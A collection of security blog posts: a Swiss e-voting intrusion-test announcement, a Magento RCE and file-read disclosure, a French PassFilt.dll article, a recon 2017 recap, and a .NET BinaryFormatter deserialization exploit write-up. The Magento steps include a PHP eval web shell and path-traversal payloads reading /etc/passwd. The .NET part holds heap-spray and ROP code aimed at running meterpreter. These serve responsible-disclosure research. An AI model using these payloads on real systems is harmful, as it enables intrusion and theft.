Public Intrusion Test of Swiss Post’s E-Voting System


The Swiss Cantons have offered online voting to members of their electorate since 2004. Meanwhile, more than 200 binding trials at Federal votes and elections have taken place in 15 cantons over the years.

In order to expand online voting to a broader public, the Federal regulation obliges the Cantons to meet an additional set of requirements. These include the system feature of full verifiability, performing numerous audits and publishing the software components’ source code.

Additionally, the Swiss Confederation and the Cantons have decided that the systems used for online voting needed to be publicly tested within the setting of a public intrusion test (PIT). By performing a PIT, the Confederation and the Cantons are hoping to get a valuable outside view on the system by a large number of competent people.

Swiss Post’s E-Voting System

Swiss Post provides one of the major online voting platforms currently available in Switzerland. The latest version of this platform has already been pen-tested and certified under the legal framework of the Swiss Confederation. As required by Federal regulations, this system must now be subject to a public intrusion test.

Third-party operator

In order to managed and operate this PIT, a third-party and independent company has been selected: SCRT.

SCRT are not involved in the development, deployment or promotion of Swiss Post’s e-voting system and act under the mandate of the Swiss Confederation and the Cantons.

They are responsible for enabling registration and vulnerability submission as well as providing support to participants. SCRT are the single point of contact for all participants and oversee the review and triage of the vulnerability submissions.


The Public Intrusion Test will start on Feb. 25th 2019. It will be running for a period of four weeks, which corresponds to the duration of a Swiss federal vote, until March 24th 2019.


Swiss Post have committed to compensate participants if they reveal a relevant vulnerability. An amount of CHF 150’000.- is available for compensations.

Registration and further details

Registration is open starting of today at

Anyone can register and participate. While the target is a Swiss e-voting system, this PIT is meant for anyone interested in the matter and is not restricted to Swiss citizens.

Magento – RCE & Local File Read with low privilege admin rights

I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is a second paper which covers two vulnerabilities I discovered on Magento, a big ecommerce CMS that’s now part of Adobe Experience Cloud. These vulnerabilities have been responsibly disclosed to Magento team, and patched for Magento 2.3.0, 2.2.7 and 2.1.16.

Both of vulnerabilities need low privileges admin account, usually given to Marketing users :

  • The first vulnerability is a command execution using path traversal, and requires the user to be able to create products
  • The second vulnerability is a local file read, and requires the user to be able to create email templates

Here are the details !

Command Execution in Product Creation

Magento has its own way to define the layout of a product, into the Design tab of the Product creation system. It’s format is XML-based and follows a syntax documented by Magento themselves. The full documentation is here :

The interesting thing is the possibility to instantiate blocks with the <block> tag, and then to call methods on it with the <action> tag. This will only work if the object implements the Block interface, by the way. However, I was searching if there’s anything interesting to do with this, and saw the following function for class Magento\Framework\View\Element\Template :

     * Retrieve block view from file (template)
     * @param string $fileName
     * @return string
    public function fetchView($fileName)
        $relativeFilePath = $this->getRootDirectory()->getRelativePath($fileName);
            'TEMPLATE:' . $fileName,
            ['group' => 'TEMPLATE', 'file_name' => $relativeFilePath]

        if ($this->validator->isValid($fileName)) {
            $extension = pathinfo($fileName, PATHINFO_EXTENSION);
            $templateEngine = $this->templateEnginePool->get($extension);
            $html = $templateEngine->render($this->templateContext, $fileName, $this->_viewVars);
        } else {
            $html = '';
            $templatePath = $fileName ?: $this->getTemplate();
            $errorMessage = "Invalid template file: '{$templatePath}' in module: '{$this->getModuleName()}'"
                . " block's name: '{$this->getNameInLayout()}'";
            if ($this->_appState->getMode() === \Magento\Framework\App\State::MODE_DEVELOPER) {
                throw new \Magento\Framework\Exception\ValidatorException(
                    new \Magento\Framework\Phrase(

        \Magento\Framework\Profiler::stop('TEMPLATE:' . $fileName);
        return $html;

This code is responsible for loading templates from file; there’s two extension authorized that are phtml (to treat it as PHP template file) and xhtml (to treat it as plain HTML file I imagine?). Obviously, we want the PHP thing, that’s more fun.

The $fileName parameter is passed into the \Magento\Framework\View\Element\Template\File\Validator::isValid() function, that checks if the file is in certain directories (compiled, module or themes directories). This check used the isPathInDirectories to do so :

    protected function isPathInDirectories($path, $directories)
        if (!is_array($directories)) {
            $directories = (array)$directories;
        foreach ($directories as $directory) {
            if (0 === strpos($path, $directory)) {
                return true;
        return false;

This function only checks if the provided path begins by a specific directory name (ex: /path/to/your/magento/app/code/Magento/Theme/view/frontend/). However, it does not control that’s the resolved path is still in those whitelisted directories. That means there’s an obvious path traversal in this function that we can call through a Product Design. However, it will only process .phtml file as PHP code, which is a forbidden extension on most upload forms.

“Most of upload forms” means there’s exception! You can create a file with “Custom Options”, and one is “File”. I imagine this is in case the customer wants to send a 3D template or instructions for its order. The real reason isn’t that important, the fact is that you can allow extensions you want to be uploaded, including phtml. Once the item is ordered, the uploaded file will be stored in /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourFile).extension

This is sufficient for having a command execution payload. Here is the complete steps :

  1. Log in with a user that has some low admin privileges and is allowed to create products
  2. First of all, create a new product, with a new Custom Options of type File, with .phtml as an authorized extension and some pieces in stock to order one.
  3. Go on the frontend, on the product you just created. Upload your .phtml and set the item in your cart. For example, my file is named “blaklis.phtml” and contains “<?php eval(stripslashes($_REQUEST[0])); ?>
  4. The .phtml file is uploaded to /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourPhtmlFile).phtml. For example, for my file, the location will be /your/path/to/magento/pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml
  5. You must have the full path to the application to use the fetchView function. An easy way to retrieve it is to run the following request :
    POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true HTTP/1.1
    Connection: close

    This will make CURL crash and display an error with full path in it
  6. In the design tab of the product, add a 2 column layouts with the following XML in Layout Update XML :
    <referenceContainer name="sidebar.additional">
    <block class="Magento\Backend\Block\Template" name="test">
    <action method="fetchView">
    <argument name="fileName" xsi:type="string">/path/to/your/magento/app/code/Magento/Theme/view/frontend/../../../../../../pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml</argument>
  7. Go to the frontend page of this product; your code should executed.

This flaw was not that obvious, but has been fun to search for!

Local File Read in Email Templating

This one is a lot easier; in fact, it was a pretty obvious one. Email templating allow to use some special directives, surrounded by {{ }}. One of these directives is {{css 'path'}} to load the content of a CSS file into the email. The path parameter is vulnerable to path traversal, and can be used to inject any file into the email template.

The functions that are managing this directive are the following :

public function cssDirective($construction)
    if ($this->isPlainTemplateMode()) {
        return '';

    $params = $this->getParameters($construction[2]);
    $file = isset($params['file']) ? $params['file'] : null;
    if (!$file) {
        // Return CSS comment for debugging purposes
        return '/* ' . __('"file" parameter must be specified') . ' */';

    $css = $this->getCssProcessor()->process(

    if (strpos($css, ContentProcessorInterface::ERROR_MESSAGE_PREFIX) !== false) {
        // Return compilation error wrapped in CSS comment
        return '/*' . PHP_EOL . $css . PHP_EOL . '*/';
    } elseif (!empty($css)) {
        return $css;
    } else {
        // Return CSS comment for debugging purposes
        return '/* ' . sprintf(__('Contents of %s could not be loaded or is empty'), $file) . ' */';

public function getCssFilesContent(array $files)
    // Remove duplicate files
    $files = array_unique($files);
    $designParams = $this->getDesignParams();
    if (!count($designParams)) {
        throw new \Magento\Framework\Exception\MailException(
            __('Design params must be set before calling this method')
    $css = '';
    try {
        foreach ($files as $file) {
            $asset = $this->_assetRepo->createAsset($file, $designParams);
            $pubDirectory = $this->getPubDirectory($asset->getContext()->getBaseDirType());
            if ($pubDirectory->isExist($asset->getPath())) {
                $css .= $pubDirectory->readFile($asset->getPath());
            } else {
                $css .= $asset->getContent();
    } catch (ContentProcessorException $exception) {
        $css = $exception->getMessage();
    } catch (\Magento\Framework\View\Asset\File\NotFoundException $exception) {
        $css = '';

    return $css;

Those 2 functions are not checking for path traversal characters anywhere, and are indeed vulnerable.

Creating an email template with the {{css file="../../../../../../../../../../../../../../../etc/passwd"}} should be sufficient to trigger the vulnerability.

Here is the responsible disclosure timeline for these 2 bugs : firstly, for the RCE one, and then for the file read one

  • 2018.09.11 : initial disclosure for the path traversal / RCE
  • 2018.09.17 : triaged by Bugcrowd staff
  • 2018.10.08 : triaged by Magento staff
  • 2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
  • 2018.12.11 : a $5000 bounty was awarded
  • 2018.08.09 : initial disclosure for the path traversal / local file read
  • 2018.08.29 : triaged by Bugcrowd staff after asking for details
  • 2018.10.08 : triaged by Magento staff
  • 2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
  • 2019.01.04 : a $2500 bounty was awarded

PassFilt.dll – Complexifier sa politique de mot de passe Windows

La gestion des mots de passe en entreprise est un challenge très complexe à appréhender. Les bonnes pratiques que l’on peut trouver un peu partout sont toutes d’accord pour augmenter la taille minimum d’un mot de passe tout en imposant un mélange de tous types de caractères.

Ajouter à cela la nécessité de changer régulièrement son mot de passe plus celui-ci circule sur le réseau (de manière hashé ou non) et nous obtenons en entreprise, sous windows, l’effet inverse à celui escompté en terme de robustesse.

En effet, les mots de passe ont évolué de simples mots souvent en rapport avec la vie personnelle des utilisateurs (nom des enfants, du chien…) à des mots de passe encore plus simple car directement liés à l’environnement de l’entreprise (Entreprise2017!, Entreprise33!, EntrepriseJuillet!)

Pour l’attaquant il suffit donc de générer un dictionnaire spécifique à l’entreprise (utilisant des permutations sur le nom, les chiffres, les mois, les saisons…) pour casser un très grand nombre de mots de passe sur un domaine Windows.

Pour complexifier sa politique de mot de passe, Windows offre deux solutions :

  • La première consiste à modifier la stratégie de mot de passe GPO et d’activer la règle “Le mot de passe doit respecter des exigences de complexité”. Malheureusement, ces exigences sont insuffisantes puisqu’elles vérifient simplement si le mot de passe contient 3 types de caractères différents et autorise donc les mots de passe faibles cités précédemment.

  • Sans juste milieu, la seconde méthode consiste à développer une Password Filter DLL personnalisée.

PassFilt.dll (Password Filter DLL)

Le traitement de la complexité d’un mot de passe est donc laissé à cette DLL qui peut obliger un utilisateur à respecter des règles bien plus complexe.

C’est lsass (Local Security Authority Subsystem) qui va dans un premier temps vérifier si le mot de passe est en accord avec la politique de complexité du domaine (défini dans la GPO) avant d’appeler la DLL.

Pour fonctionner, la DLL doit implémenter 3 fonctions :

  • InitializeChangeNotify(void);
    Appelée au chargement de la DLL si besoin d’initialiser des variables.
  • PasswordChangeNotify(Username, RelativeId, NewPassword);
    Appelée lorsque le mot de passe a bien été modifié.
  • PasswordFilter(AccountName, FullName, Password, SetOperation);
    C’est dans cette fonction que les nouvelles exigences de complexités vont être implémentées. Elle retourne simplement un booléen indiquant si oui ou non le mot de passe choisi est assez robuste.

Pour installer la DLL, son nom doit être présent dans la clé de registre HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages et elle doit être placée dans %WINDIR%\System32.

Bien sûr, tout administrateur windows doit être en mesure de développer en C/Cpp du code qui sera exécuté avec les privilèges les plus élevés et rendant instable tout le domaine en cas d’erreur…

Aucune solution open source ne semblait suffisamment aboutie pour être proposée à nos clients et nous avons donc décidé d’y remédier.

Options de complexité

Longueur du mot de passe

La règle sur la longueur rejettera les mots de passe contenant trop peu de caractères.


La règle de complexité rejettera les mots de passe contenant une trop faible variété de types de caractères (minuscule, majuscule, chiffre, symbole).

Lettres consécutives

Les mots de passe contenant un trop grand nombre de lettres consécutives identiques seront rejetés.


Les mots de passe contenant des mots présents dans la wordlist seront rejetés. Le dictionnaire doit contenir un mot interdit par ligne. Vous pouvez utiliser un programme pour générer votre dictionnaire personnalisé (à l’aide de john the ripper par exemple).

Wordlist Token

Le mot de passe va être « tokénisé » à chaque changement de type de caractères. Par exemple pour le mot de passe “adminSCRT-2017″, les tokens suivants seront créés “admin”, “SCRT”, “2017”. Les tokens sont ensuite comparés à ce second dictionnaire. Si un token correspond exactement à un mot du dictionnaire, le mot de passe est refusé. Si “SCRT” se trouve dans ce dictionnaire, “adminSCRT-2017” sera refusé mais pas “12!*zqFSCRTZPODs


Toutes ces règles sont définies dans des clés de registres :

Pour éviter à l’administrateur du domaine de modifier ces clés de registres manuellement et ainsi lui faciliter la vie, une interface graphique a également été développée.

Au premier lancement de cet exécutable, celui-ci va:

  1. Extraire la DLL correspondante à votre système (32 ou 64 bits) et la placer dans %WINDIR%\System32
  2. Activer la fonctionnalité en ajoutant le nom de la DLL dans la clé de registre HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages
  3. Créer les différentes clés de registre contenant la politique de mots de passe personnalisée dans HKLM\SOFTWARE\Wow6432Node\PasswordFilter.

La mise en place d’une DLL PassFilt nécessite malheureusement le redémarrage du DC.

Par la suite, la modification de la configuration est instantanée et ne nécessite aucun redémarrage.

Dernier point, comme dit précédemment, la fonction PasswordFilter() ne retourne que « True » ou « False », il est donc impossible d’avertir directement l’utilisateur sur la raison du refus de son mot de passe.

Un fichier de log est donc créé sur le DC à l’emplacement souhaité et permettra à l’administrateur de connaître les raisons d’un refus de mot de passe.


Bien que la complexité des mots de passe doit être efficacement assurée, il ne faut pas oublier la contrainte que cela impose aux utilisateurs.

Il est bien plus intelligent de proposer et de former les collaborateurs à l’utilisation de gestionnaires de mots de passe. En effet, ces solutions permettent de régler complètement les problèmes de robustesse tout en améliorant l’expérience utilisateur.

Encore faut-il être connecté à sa session pour pouvoir exécuter son gestionnaire de mot de passe…

Vous pouvez directement utiliser la dernière release pour installer le PassFilt DLL pour windows server 2012 R2 (qui n’est pas compatible avec windows server 2008 R2).

Le code de la DLL est quant à lui disponible ici

Jules Duvivier

recon Bruxelles 2017

Première édition de recon en Belgique en ce début d’année! Le logo de l’évènement change, mais le programme reste le même: Reverse engineering et exploitation. Du coup, pas une seule conférence n’a oublié son screenshot d’IDA Pro (qui est d’ailleurs le sponsor de l’évenement). Comme pour l’édition 2016 de Montréal, les conférences ont duré trois jours avec une seule track, donc pas de remords ni de regrets. 🙂

Je vous propose un aperçu de quelques conférences de cette première édition Européene:

Hackable Security Modules Reversing and Exploiting FIPS-140-2 lvl3 HSM firmware

Cette présentation traitait de l’analyse d’un firmware de HSM dans le but d’y déceler des vulnérabilités. Un HSM (Hardware Security Module) permet de stocker et gérer des clés cryptographiques de manière sécurisée. Ils sont typiquement utilisés par les autorités de certification afin de protéger l’accès à leurs clés privées.

Le HSM testé est produit par la société Ultimaco et est certifié FIPS-140-2 level 3. Cette certification implique que le boitier dispose d’un mécanisme de détection des intrusions physiques en plus d’un système bloquant l’accès aux clés contenues dans le module. L’appliance est un système Linux doté d’un module HSM connecté en PCIe. Lors du premier démarrage, une clé de chiffrement et une clé de backup sont générées afin de protéger toutes les autres clés stockées sur le système.

La première étape a consisté à décompresser le firmware qui utilisait un format propriétaire (MPKG) et qui contenait différents firmwares pour chaque module de l’appareil au format MTC. Ce format MTC est une version modifiée du standard COFF. Après l’avoir reversé, le code binaire a pu être extrait. Sauf que le HSM utilise un processeur de signal (DSP) TMS320C64x produit par Texas Instrument qui n’est pas pris en charge par les logiciels de désassemblage classiques. Ainsi il était nécessaire de créer un module de désassemblage pour ajouter cette architecture dans Capstone. La complexité de l’architecture a rendu la tâche très ardue mais finalement le code a pu être désassemblé.

L’analyse du code a permis de mettre en évidence au moins une vulnérabilité. En effet, un contrôle est effectué au moment d’ouvrir une base de données afin d’empêcher l’accès aux clés. La routine de vérification contrôle que la base de données ne soit pas la chaine de caractères VMBK1 (nom de la base contenant la clé de backup). Sauf que le nom de base peut être préfixé par la localisation de cette dernière, ainsi FLASH\VMBK1.db permet de récupérer les clés.. 🙂

L’entreprise qui développe le produit à mis près d’une année pour corriger la faille… Cependant il ne lui a fallu que quelques jours après la présentation pour demander à l’auteur de retirer ses outils hébergés sur Github.

Breaking Code Read Protection on the NXP LPC-family Microcontrôlers

L’auteur présente le contournement de la protection Code Read Protection (CRP) implémentée dans les microcontrôlers de la famille NXP LPC. Cette protection permet normalement d’éviter que le code du microcontrôleur puisse être extrait de la flash. Chris Gerlinsky nous montre comment mettre en place une attaque par glitching afin de neutraliser le CRP.

Le contournement débute par l’acquisition d’un microcontrôleur de cette famille. Le chip est programmé avec un code simple qui consite en une boucle infinie dans laquelle deux variables sont incrémentées de manière identique puis comparées. Le but étant de détecter si l’une des deux variables n’a pas été incrémentée correctement à cause d’un glitch.

Un circuit particulier (Xmega-A1 MAX4619) est utilisé pour générer les glitchs (impulsions de tension basses) en switchant entre deux sources d’alimentation: Une source à la tension nominale (1.9v) et une autre plus basse qui va permettre de générer les erreurs (~0.7v). Ce circuit est directement utilisé pour alimenter le microcontrôleur. Des glitchs sont ensuite générés en variant la tension basse afin de trouver une valeur qui génère un maximum d’erreurs dans la comparaison des deux variables incrémentées sans interrompre l’alimentation du microcontrôleur. L’étape suivante consiste à faire varier la longueur des impulsions et finalement de décaler l’impulsion dans le temps afin qu’elle affecte la vérification du flag CRP.

Lorsque l’impulsion arrive au bon moment, le résultat de la comparaison du flag CRP est modifiée et l’accès au bootloader est autorisé permettant ainsi de lire la flash.

Le code du module de glitch est disponible sur github.

Transforming Open Source to Open Access in Closed Applications

Un grand nombre de logiciels propriétaires intègrent du code Open Source afin de réduire le temps de développement et par conséquent les coûts. Cette démarche à cependant un certain nombre de désavantages en termes de sécurité qui ne sont pas forcément pris en compte par l’éditeur du logiciel. D’une part, les mises à jour du logiciel Open Source doivent être intégrées dans le projet ce qui retarde la correction effective des vulnérabilités dans la solution propriétaire. D’autre part, l’abandon d’un projet Open Source utilisé expose fortement le logiciel dont le/les composants ne seraient plus mis à jour.

Ce cas de figure est illustré dans la présentation par le logiciel Acrobat Reader. En effet, le moteur de traitement XSLT d’Acrobat est basé sur le projet Open Source Sablotron, qui a cessé d’être maintenu en mai 2015. Les auteurs utilisent une technique de matching de code binaire pour trouver des correspondances entre le code propriétaire et le logiciel Open Source.

L’analyse du code source des fonctions/parties reprisent a permis de mettre en évidence plusieurs vulnérabilités critiques (exécution de code) dans le lecteur de PDF.


Kevin Larson a apporté sa pierre à l’édifice du cracking NFC contre les cartes Mifare Classic et Mifare Plus. Il a présenté son outil miLazyCracker qui, faute d’améliorer l’attaque, rend l’exploitation extrêmement simple. En effet, l’outil développé n’attend aucun argument et se met en attente d’une carte Mifare. De plus il exploite un hardware bon marché, le SCL3711.

Vous trouverez son outil directement sur Github miLazyCracker.

Teaching Old Shellcode New Tricks

Le framework Metasploit utilise une technique baptisée Stephen Fewer’s Hash API (SFHA) qui permet de simplifier l’appel d’une fonction particulière de l’API Windows en utilisant un hash. Les solutions antivirus ont fini par utiliser ce pattern afin de détecter Meterpreter (la partie cliente de Metasploit). De plus, l’outil EMET de Microsoft détecte et bloque l’exécution de shellcode qui emploie cette technique.

Ce talk présente une technique basée sur IAT / LLAGBA qui permet de remplacer le SFHA. L’outil développé traite un payload généré à l’aide de msfvenom et remplace le stub SFHA afin de bypasser EMET. En plus de cela, il permet de supprimer les hashs originaux afin de limiter la détection du payload par les anti-virus.

Pour son outil, c’est par ici: fido.

Harnessing Intel Processor Trace on Windows for fuzzing and dynamic analysis

Cette présentation décrit la nouvelle fonctionnalité intégrée dans les processeurs Intel de génération Skylake, à savoir Intel Processor Trace. Cette fonctionnalité permet de tracer l’exécution d’un programme directement en hardware, ce qui réduit largement la charge CPU nécessaire au suivi.

Les deux présentateurs travaillent sur le développement d’un driver Open Source pour Windows qui supporte le multiprocesseur. Un plugin permettant de visualiser la trace directement dans IDA Pro est également disponible. Le code du driver et du plugin sont disponible dans ce repository WindowsIntelPT.

Le driver active la fonctionnalité dans le processeur. Ce dernier commence alors à enregistrer les instructions dans plusieurs fichiers de log (un par processeur logique). En parallèle le driver collecte certaines informations sur la mémoire. Les différentes informations récupérées sont croisées avec le binaire lui-même afin de retracer l’exécution. Finalement le plugin IDA permet de charger la trace et de visualiser graphiquement le chemin d’exécution. D’après les conférenciers, un overhead de l’ordre des 10% serait constaté.

.NET serialiception


After discovering a weird base64 encoded format during pentest I wanted to find out what was that format and I met BinaryFormatter.

The BinaryFormatter format is internally used in a bunch of functions or can be used directly to materialize .NET objects.

The binary format is well documented here.

To be able to serialize and unserialize .NET objects, they must extend the ISerializable class.

As other serialization formats, the unserialized object is often casted to a specific one triggering some error if it doesn’t fit.

This research focus on the one that implements some specific deserialization constructors which are executed regardless of the expected casting.

James Forshaw already did a lot of work on this subject ( but firstly I wanted an easy way to tamper this BinaryFormatter format and then implement some POC everybody could use during penetration testing.

My scenario is to try to exploit this BinaryFormatter serialization from a web application. As I said, I saw it directly in POST and Cookies data during a pentest but another interesting vector is the ViewState that could pass BinaryFormatter format with the Token_BinarySerialized (even if I’m late on the subject as it’s rare to find one without a HMAC).

Firstly I wrote a JSON <-> BinaryFormatter converter so it’s easy to extract readable information from a BinaryFormatter stream, edit it in JSON and send back the modified version.

I quickly did the same with ViewState so I could tamper a non hmaced ViewState and insert my crafted BinaryFormatter to it.

Then I just have to find the interesting class.


Analysing most of the native ISerializable extended class, I noticed every actions an attacker could do by tampering a BinaryFormatter stream (I tried to be comprehensive).

Here is a list of quite interesting things we can do during deserialization :

Already known

Use examples/TempFileCollection_arbitrary_delete_or_smb_connect.json
ObjectId 8 is a BinaryObjectString which contains the filepath you want to delete (if you use a UNC path it will connect to it and leak hash)

Useless at the first view

Check examples/HashMembershipCondition_arbitrary_empty_ctor_call.json
ObjectId 4 contains a BinaryObjectString which contains the Assembly string of the class you want to construct.
This class should have an empty argument constructor that would be called (so it seems very useless)

I didn’t try it as I didn’t find an idea to exploit it.

  • Call to ParseManifest (unkown) ndp/clr/src/BCL/system/activationcontext.cs

I didn’t try it as I don’t know what Manifest is (maybe interesting)

  •  Unserialize Icon, Font, Bitmap, Cursor, ImageList


Could be good to exploit native parser bug remotely.

  • Load X509 certificate ndp/clr/src/BCL/system/security/cryptography/x509certificates/x509certificate.cs

Interesting discoveries

DataSet object waits for XmlSchema BinaryObjectString that is vulnerable to Xml External Entities (check examples/DataSet_XXE.json).

Unfortunately Microsoft XML parser is quite susceptible so I didn’t succeed to blindly leak a web.config file (I only read C:\Windows\system.ini as POC). Actually I don’t know what to leak with a blind XXE on Windows System.

Maybe an XXE expert could do better, but it’s still a quite critical vulnerability if you know the application (SSRF and co…)

  • Unmarshal COMObject

So here comes the best part!

COMObject Marshaling

James Forshaw already pointed it ndp/fx/src/wmi/managed/System/Management/InteropClasses/WMIInterop.cs without trying to exploit it.

As COMObject Mashaling is a native windows function, I looked at the COMObject marshaling format to add a third layer of serialization ( and reversed the ole32.dll CoUnmarshalInterface function.

I know nothing about COMObject so maybe I missed an easy exploit but I didn’t succeed to use OBJREF_STANDARD, OBJREF_HANDLER, and OBJREF_EXTENDED.

On the other hand OBJREF_CUSTOM allows you to pass an arbirary clsid that would load the associated DLL and try to unmarshall another layer of specific data pObjectData if this COMObject exposes the IMarshal interface (kind of 4th layer of custom serialization).

Unfortunately automatically trying junk data on every CLSID I found in the register didn’t produce anything.

Reversing ole32.dll shew me some special hardcoded CLSID. One of them  (CLSID_StdWrapper : {00000336-0000-0000-C000-000000000046}) used with special IID (IUnknown {00000000-0000-0000-C000-000000000046}) seems to use the pObjectData and fuzzing its format gives me a crash with controlled register \o/ !

I did my first tests on specific 64bits binaries under windows 7 and then setup a windows server 2008 R2 64 bits with IIS and 2.5 but the COMobject unmarshalling from BinaryFormatter is a feature of .NET (even in the last version) and the crash occurs in ole32.dll not related to IIS version so it should work everywhere.


I figured that it may be possible to control RIP from this pointer with a very specific structure.

[Pointer + 0x20] -> [Pointer2 + 0x20] -> [Pointer3 + 0x28]
                                      -> [Pointer3 + 0x10]
                                      -> [Pointer3] == 0
[Pointer + 0x38] -> [Pointer4 + 0x38] -> [Pointer5] -> [Pointer6 + 8] -> RIP

Of course finding such specific structure in randomly mapped memories was impossible.

If you remember the list of possible unserializable .NET objects one of them should raise your attention to achieve heap spray.

Bitmap ! Indeed it is possible to craft a specific BMP that would be mapped untouched in memory (see examples/Image.json).
But how can we achieve heap spray without sending Gb of BMP?

BinaryFormatter allows internal object reference!

Firstly it may allow an easy DOS by cross referencing two objects (haven’t tested yet).

Secondly, it’s perfect to do a nice heap spray!

Just create one ArraySinglePrimitive with your BMP sprayed data and create as many ClassWithMembersAndTypes (System.Drawing.Image) with member “Data” a MemberReference pointing to the ObjectID of this ArraySinglePrimitive.

I choose an arbitrary bmp size aligned on 0x10000 ((640 * 818) == 0x180000 + bmp header) so it would reduce the shift in random mapping.

Once I found a nice always mapped address (0x30303030) I tried to spray the magic pointer allowing me to control RIP.

def q(i):
 return struct.pack('<Q', i)

spray =  q(0) + q(pointer+0x8)
spray += q(RIP-1) + q(0xDEADBABEDEFECA7E)
spray += q(pointer) + q(0xDEADBABEDEFECA7E)
spray += q(0xDEADBABEDEFECA7E) + q(pointer+0x10)


A very good point for us is that memory access errors are handled by .net so spawned IIS worker process w3wp.exe doesn’t crash.

You can try as many times as you want and it should take maximum 8 tries to find your structure correctly aligned!

With relatively good RIP control, next part was to find non-ASLR DLL to construct our ROP.
Fortunately, diasymreader.dll is non-ASLR and seems to be loaded after a first .net exception.

I needed to change my magic pointer structure to also control RSP with one gadget and point it in my sprayed retchain+ropchain.


spray =  q(0) + q(pointer+0x8)
spray += q(RIP-1) + q(0xDEADBABEDEFECA7E)
spray += q(pointer) + q(RIP2)
spray += q(RSP) + q(pointer+0x10)

RIP : push rsi # pop rsp # add rsp, 0x20 # pop rdi
RIP2 : pop rsp # add rsp, 0x10

This way I can control RSP !

Last part should be straight-forward as virtualAlloc and memcpy functions can be called from diasymreader.dll.

A third heapspray with nopsled+shellcode should be enough to stabilize the exploit.


I successfully reliably exploited this vulnerability on my IIS lab directly from a non hmac’ed ViewState to run meterpreter.

To sum up :

  1. ViewState deserialization with Token_BinarySerialized
    If you directly find BinaryFormatter (with ot without obfuscation (SAP application I’m looking at you with your base64(gzip(base64(BinaryFormatter)))))
  2. BinaryFormatter deserialization which we use to deserialize 3 BMP 400 times each and a IWbemClassObjectFreeThreaded object
  3. this object actually contains a malicious marshalled COMobject that allows us to control a special pointer.
  4. if this pointer dereference a specific structure that we spray with our first BMP we can control RIP then RSP that point on our second BMP with a ROPCHAIN that VirtualAlloc and memcpy our shellcode from the third BMP.


Deserializing untrusted input is bad, we all know that… I didn’t find public POC of vulnerability with .NET serialization (compare to Java) so here it is!

For information, I reported the COMObject deserialization crash to Microsoft and they flagged it “defense in depth” as it requires untrusted unmarshaling first, so if they make a patch it will be in a long time.

Unfortunately I didn’t find another vector to exploit the COMObject unmarshaling bug (RPC DCOM use another dll to unmarshal COMObject) but maybe someone with better windows knowledge could find an idea !

Last but not least the .NET remoting system internally uses BinaryFormatter. It has been replaced by WCF but it should be possible to exploit the same bugs if WCF is configured to accept NetDataContractSerializer.